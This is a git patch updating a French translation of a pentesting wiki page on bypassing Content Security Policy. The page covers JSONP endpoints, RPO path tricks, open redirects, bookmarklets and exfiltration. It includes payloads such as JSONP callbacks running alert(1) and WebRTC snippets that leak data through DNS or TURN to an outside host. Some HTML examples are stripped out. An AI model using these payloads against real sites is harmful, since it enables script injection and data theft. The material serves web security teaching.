From 99949789a83855a415ab3c8463953f4f89806f98 Mon Sep 17 00:00:00 2001 From: Translator Date: Fri, 3 Nov 2023 13:36:07 +0000 Subject: [PATCH] Translated ['pentesting-web/content-security-policy-csp-bypass/README.md --- .../README.md | 124 +++++++++++++----- 1 file changed, 92 insertions(+), 32 deletions(-) diff --git a/pentesting-web/content-security-policy-csp-bypass/README.md b/pentesting-web/content-security-policy-csp-bypass/README.md index 5ecf87c2d..95657364b 100644 --- a/pentesting-web/content-security-policy-csp-bypass/README.md +++ b/pentesting-web/content-security-policy-csp-bypass/README.md @@ -33,7 +33,7 @@ Gagnez des points de réputation avec chaque bug vérifié et conquérez le somm La politique de sécurité du contenu (Content Security Policy ou CSP) est une technologie intégrée au navigateur qui **aide à se protéger contre des attaques telles que les scripts intersites (XSS)**. Elle répertorie et décrit les chemins et sources à partir desquels le navigateur peut charger en toute sécurité des ressources. Les ressources peuvent inclure des images, des frames, du javascript et plus encore. Voici un exemple de ressources autorisées à être chargées et exécutées en ligne à partir du domaine local (self), et permettant l'exécution de code sous forme de chaîne avec des fonctions telles que `eval`, `setTimeout` ou `setInterval:` -La politique de sécurité du contenu est mise en œuvre via **les en-têtes de réponse** ou **les éléments meta de la page HTML**. Le navigateur suit la politique reçue et bloque activement les violations détectées. +La politique de sécurité du contenu est mise en œuvre via des **en-têtes de réponse** ou des **éléments meta de la page HTML**. Le navigateur suit la politique reçue et bloque activement les violations détectées. Mise en œuvre via l'en-tête de réponse : ```http @@ -148,18 +148,20 @@ Payloads de travail: Lorsque vous effectuez un test de pénétration sur une application Web, il est courant de rencontrer une politique de sécurité du contenu (CSP) qui restreint les sources autorisées pour les ressources chargées par l'application. Cela peut inclure des restrictions sur les scripts, les images, les polices, etc. -Une directive CSP courante est `default-src 'self'`, qui permet uniquement le chargement de ressources provenant du même domaine que l'application. Cela peut poser un problème lorsqu'il s'agit de télécharger des fichiers, car le navigateur bloque les tentatives de chargement de fichiers provenant d'autres domaines. +Une directive CSP courante est `default-src 'self'`, qui permet uniquement le chargement de ressources provenant du même domaine que l'application. Cela peut poser un problème lorsqu'il s'agit de télécharger des fichiers, car le navigateur bloque les requêtes vers des domaines tiers. -Cependant, il existe une technique pour contourner cette restriction lors du téléchargement de fichiers. Vous pouvez utiliser une faille de type "leak" pour envoyer le fichier à un service tiers, puis récupérer le lien de téléchargement de ce service tiers et le fournir à l'utilisateur. +Cependant, il existe une technique pour contourner cette restriction lors du téléchargement de fichiers. Vous pouvez utiliser une faille de type "leak" pour envoyer le fichier vers un service tiers, puis récupérer l'URL de téléchargement à partir de ce service et la fournir à l'utilisateur. Voici comment cela fonctionne : -1. L'application Web permet aux utilisateurs de télécharger des fichiers. -2. Lorsqu'un utilisateur télécharge un fichier, l'application envoie ce fichier à un service tiers (par exemple, un service de stockage en ligne). -3. Le service tiers génère un lien de téléchargement unique pour le fichier. -4. L'application récupère ce lien de téléchargement et le fournit à l'utilisateur. +1. L'application Web permet à l'utilisateur de télécharger un fichier. +2. Au lieu de télécharger directement le fichier sur le serveur de l'application, vous envoyez le fichier vers un service tiers (par exemple, un service de stockage en nuage). +3. Une fois le fichier téléchargé sur le service tiers, vous récupérez l'URL de téléchargement générée par le service. +4. Vous fournissez cette URL à l'utilisateur, qui peut alors télécharger le fichier en cliquant dessus. -De cette façon, le fichier est téléchargé à partir du service tiers, contournant ainsi la restriction CSP. Cependant, il est important de noter que cette technique peut présenter des risques de sécurité, notamment en ce qui concerne la confidentialité des données téléchargées. +De cette façon, vous contournez la restriction CSP "default-src 'self'" en utilisant un service tiers pour héberger le fichier et en fournissant simplement l'URL de téléchargement à l'utilisateur. + +Il est important de noter que cette technique ne fonctionnera que si le service tiers utilisé n'est pas bloqué par la politique CSP de l'application. Vous devrez donc trouver un service tiers qui n'est pas restreint par la politique CSP en vigueur. ```yaml Content-Security-Policy: script-src 'self'; object-src 'none' ; ``` @@ -219,7 +221,7 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a #### Charges utiles utilisant Angular + une bibliothèque avec des fonctions qui renvoient l'objet `window` ([consultez cet article](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)): {% hint style="info" %} -L'article montre que vous pourriez **charger** toutes les **bibliothèques** depuis `cdn.cloudflare.com` (ou tout autre référentiel de bibliothèques JS autorisé), exécuter toutes les fonctions ajoutées de chaque bibliothèque, et vérifier **quelles fonctions de quelles bibliothèques renvoient l'objet `window`**. +L'article montre que vous pourriez **charger** toutes les **bibliothèques** depuis `cdn.cloudflare.com` (ou tout autre référentiel de bibliothèques JS autorisé), exécuter toutes les fonctions ajoutées de chaque bibliothèque et vérifier **quelles fonctions de quelles bibliothèques renvoient l'objet `window`**. {% endhint %} ```markup @@ -262,13 +264,15 @@ ng-init="c.init()" ``` ### Points de terminaison tiers + JSONP -JSONP (JSON with Padding) est une technique utilisée pour contourner la politique de sécurité du contenu (CSP) lors de l'accès à des ressources tierces. La CSP est une couche de sécurité qui permet aux propriétaires de sites web de spécifier les sources de contenu autorisées à être chargées sur leurs pages. Cela aide à prévenir les attaques telles que l'injection de scripts malveillants. +JSONP (JSON with Padding) est une technique utilisée pour contourner la politique de sécurité du contenu (CSP) lors de l'accès à des ressources tierces. La CSP est une couche de sécurité qui permet aux propriétaires de sites web de spécifier les sources légitimes de contenu qui peuvent être chargées sur leurs pages. Cela aide à prévenir les attaques de type cross-site scripting (XSS) en limitant les sources de contenu autorisées. -Cependant, certaines applications web utilisent des points de terminaison tiers pour récupérer des données JSON. Si ces points de terminaison ne sont pas autorisés par la CSP, l'accès aux données peut être bloqué. C'est là que JSONP entre en jeu. +Cependant, certaines applications web utilisent des points de terminaison tiers pour récupérer des données JSON. Si ces points de terminaison ne sont pas autorisés par la CSP, il est possible d'utiliser JSONP pour contourner cette restriction. -JSONP fonctionne en ajoutant dynamiquement un élément de script à la page web qui pointe vers le point de terminaison tiers. Ce point de terminaison doit prendre en charge JSONP en enveloppant les données JSON dans une fonction de rappel spécifiée par le client. Lorsque le script est chargé, la fonction de rappel est exécutée avec les données JSON en tant que paramètre. +JSONP fonctionne en ajoutant dynamiquement un script à la page web qui charge les données JSON à partir du point de terminaison tiers. Le point de terminaison doit prendre en charge JSONP en enveloppant les données JSON dans une fonction de rappel spécifiée par le client. Lorsque le script est chargé, la fonction de rappel est exécutée avec les données JSON en tant que paramètre. -Cela permet de contourner la CSP car les scripts sont autorisés par défaut dans la CSP. Cependant, il est important de noter que JSONP présente des risques de sécurité, tels que l'exécution de code malveillant provenant de sources non fiables. Par conséquent, il est recommandé de l'utiliser avec prudence et de mettre en place des mesures de sécurité supplémentaires pour atténuer ces risques. +Pour exploiter cette vulnérabilité, un attaquant peut utiliser un point de terminaison tiers vulnérable à JSONP pour exécuter du code malveillant sur la page web cible. Cela peut permettre à l'attaquant de voler des informations sensibles, d'injecter du contenu malveillant ou de compromettre la sécurité de la page web. + +Il est important de noter que JSONP présente des risques de sécurité et est considéré comme une technique obsolète. Il est recommandé d'utiliser des méthodes plus sécurisées, telles que CORS (Cross-Origin Resource Sharing), pour accéder à des ressources tierces de manière contrôlée et sécurisée. ```http Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none'; ``` @@ -282,14 +286,27 @@ Des scénarios comme celui-ci où `script-src` est défini sur `self` et un doma https://www.youtube.com/oembed?callback=alert; ``` -[**JSONBee**](https://github.com/zigoo0/JSONBee) **contient des points de terminaison JSONP prêts à l'emploi pour contourner la CSP de différents sites web.** +[**JSONBee**](https://github.com/zigoo0/JSONBee) **contient des points de terminaison JSONP prêts à l'emploi pour contourner CSP sur différents sites web.** -La même vulnérabilité se produira si le **point de terminaison de confiance contient une redirection ouverte** car si le point de terminaison initial est fiable, les redirections sont fiables. +La même vulnérabilité se produira si le **point de terminaison de confiance contient une redirection ouverte** car si le point de terminaison initial est de confiance, les redirections sont de confiance. -### Contournement du chemin du dossier +### Contournement via RPO (Relative Path Overwrite) -Si la politique CSP pointe vers un dossier et que vous utilisez **%2f** pour encoder **"/"**, il est toujours considéré comme étant à l'intérieur du dossier. Tous les navigateurs semblent être d'accord avec cela.\ -Cela conduit à un contournement possible, en utilisant "**%2f..%2f**" si le serveur le décode. Par exemple, si CSP autorise `http://example.com/company/`, vous pouvez contourner la restriction du dossier et exécuter : `http://example.com/company%2f..%2fattacker/file.js` +En plus de la redirection mentionnée précédemment pour contourner les restrictions de chemin, il existe une autre technique appelée Relative Path Overwrite (RPO) qui peut être utilisée sur certains serveurs. + +Par exemple, si CSP autorise le chemin `https://example.com/scripts/react/`, il peut être contourné de la manière suivante: +```html + +``` +Le navigateur finira par charger `https://example.com/scripts/angular/angular.js`. + +Cela fonctionne car pour le navigateur, vous chargez un fichier nommé `..%2fangular%2fangular.js` situé sous `https://example.com/scripts/react/`, ce qui est conforme à la CSP. + +Cependant, pour certains serveurs, lorsqu'ils reçoivent la requête, ils la décodent, ce qui revient à demander `https://example.com/scripts/react/../angular/angular.js`, ce qui est équivalent à `https://example.com/scripts/angular/angular.js`. + +En **exploitant cette incohérence dans l'interprétation de l'URL entre le navigateur et le serveur, les règles de chemin peuvent être contournées**. + +La solution consiste à ne pas traiter `%2f` comme `/` côté serveur, en garantissant une interprétation cohérente entre le navigateur et le serveur pour éviter ce problème. Exemple en ligne : [ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output) @@ -303,14 +320,14 @@ Exemple en ligne : [ ](https://jsbin.com/werevijewa/edit?html,output)[https://js Si la directive **base-uri** est manquante, vous pouvez l'exploiter pour effectuer une [**injection de balisage suspendu**](../dangling-markup-html-scriptless-injection/). -De plus, si la **page charge un script en utilisant un chemin relatif** (comme `/js/app.js`) en utilisant un **Nonce**, vous pouvez exploiter la **balise base** pour le faire **charger** le script depuis **votre propre serveur et réaliser une XSS**.\ +De plus, si la **page charge un script en utilisant un chemin relatif** (comme ` + + + + + +``` +Si CSP est défini sur `https://www.google.com/a/b/c/d`, étant donné que le chemin est pris en compte, les scripts `/test` et `/a/test` seront tous deux bloqués par CSP. + +Cependant, le lien final `http://localhost:5555/301` sera **redirigé côté serveur vers `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**. Étant donné qu'il s'agit d'une redirection, le **chemin n'est pas pris en compte** et le **script peut être chargé**, contournant ainsi la restriction du chemin. + +Avec cette redirection, même si le chemin est spécifié en entier, il sera quand même contourné. + +Par conséquent, la meilleure solution est de s'assurer que le site web ne présente aucune vulnérabilité de redirection ouverte et qu'il n'y a aucun domaine pouvant être exploité dans les règles CSP. + ### Contourner CSP avec du balisage suspendu -Lisez [comment ici](../dangling-markup-html-scriptless-injection/). +Lire [comment faire ici](../dangling-markup-html-scriptless-injection/). ### 'unsafe-inline'; img-src \*; via XSS ``` @@ -444,13 +491,13 @@ run(); ``` ### Via Bookmarklets -Cette attaque impliquerait une ingénierie sociale où l'attaquant **convainc l'utilisateur de faire glisser et déposer un lien sur le bookmarklet du navigateur**. Ce bookmarklet contiendrait du **code JavaScript malveillant** qui, lorsqu'il est glissé-déposé ou cliqué, serait exécuté dans le contexte de la fenêtre Web actuelle, **contournant la CSP et permettant de voler des informations sensibles** telles que les cookies ou les jetons. +Cette attaque impliquerait une certaine ingénierie sociale où l'attaquant **convainc l'utilisateur de faire glisser et déposer un lien sur le bookmarklet du navigateur**. Ce bookmarklet contiendrait du **code JavaScript malveillant** qui, lorsqu'il est glissé-déposé ou cliqué, serait exécuté dans le contexte de la fenêtre Web actuelle, **contournant la CSP et permettant de voler des informations sensibles** telles que les cookies ou les jetons. Pour plus d'informations, [**consultez le rapport original ici**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/). ### Contournement de la CSP en restreignant la CSP -Dans [**ce compte rendu de CTF**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), la CSP est contournée en injectant dans un iframe autorisé une CSP plus restrictive qui interdit le chargement d'un fichier JS spécifique qui, ensuite, via une **pollution de prototype** ou un **écrasement du DOM**, permet de **utiliser un autre script pour charger un script arbitraire**. +Dans [**ce compte rendu de CTF**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), la CSP est contournée en injectant dans un iframe autorisé une CSP plus restrictive qui interdit le chargement d'un fichier JS spécifique qui, ensuite, via une **pollution de prototype** ou un **dom clobbering**, permet de **utiliser un autre script pour charger un script arbitraire**. Vous pouvez **restreindre une CSP d'un iframe** avec l'attribut **`csp`**: @@ -470,9 +517,9 @@ CSP peut être rendu plus restrictif en utilisant des **balises méta HTML** et ``` ### Exfiltration JS avec Content-Security-Policy-Report-Only -Si vous parvenez à faire en sorte que le serveur réponde avec l'en-tête **`Content-Security-Policy-Report-Only`** avec une **valeur contrôlée par vous** (peut-être à cause d'un CRLF), vous pourriez le faire pointer vers votre serveur et si vous **enveloppez** le **contenu JS** que vous souhaitez exfiltrer avec **`` notez que ce **script** sera **chargé** car il est **autorisé par 'self'**. De plus, et parce que WordPress est installé, un attaquant peut abuser de l'**attaque SOME** via le point d'extrémité de **rappel** vulnérable qui **contourne la CSP** pour accorder plus de privilèges à un utilisateur, installer un nouveau plugin... +Un attaquant peut exploiter ce point d'extrémité pour **générer une attaque SOME** contre WordPress et **l'intégrer** dans `` notez que ce **script** sera **chargé** car il est **autorisé par 'self'**. De plus, et parce que WordPress est installé, un attaquant peut exploiter l'**attaque SOME** via le point d'extrémité de **rappel** **vulnérable** qui **contourne la CSP** pour accorder plus de privilèges à un utilisateur, installer un nouveau plugin... Pour plus d'informations sur la façon d'effectuer cette attaque, consultez [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/) ## Contournements de la politique de sécurité du contenu (CSP) pour l'exfiltration @@ -591,10 +638,22 @@ Apparemment, cette technique ne fonctionne pas dans les navigateurs sans tête ( Sur plusieurs pages, vous pouvez lire que **WebRTC ne vérifie pas la politique `connect-src`** du CSP. -En réalité, vous pouvez *fuir* des informations en utilisant une *requête DNS*. Jetez un coup d'œil à ce code : +En réalité, vous pouvez _fuir_ des informations en utilisant une _requête DNS_. Jetez un coup d'œil à ce code : ```javascript (async()=>{p=new RTCPeerConnection({iceServers:[{urls: "stun:LEAK.dnsbin"}]});p.createDataChannel('');p.setLocalDescription(await p.createOffer())})() ``` +Une autre option: +```javascript +var pc = new RTCPeerConnection({ +"iceServers":[ +{"urls":[ +"turn:74.125.140.127:19305?transport=udp" +],"username":"_all_your_data_belongs_to_us", +"credential":"." +}] +}); +pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp); +``` ## Vérification des politiques CSP en ligne * [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com) @@ -611,6 +670,7 @@ En réalité, vous pouvez *fuir* des informations en utilisant une *requête DNS * [https://bhavesh-thakur.medium.com/content-security-policy-csp-bypass-techniques-e3fa475bfe5d](https://bhavesh-thakur.medium.com/content-security-policy-csp-bypass-techniques-e3fa475bfe5d) * [https://0xn3va.gitbook.io/cheat-sheets/web-application/content-security-policy#allowed-data-scheme](https://0xn3va.gitbook.io/cheat-sheets/web-application/content-security-policy#allowed-data-scheme) * [https://www.youtube.com/watch?v=MCyPuOWs3dg](https://www.youtube.com/watch?v=MCyPuOWs3dg) +* [https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/](https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/) ​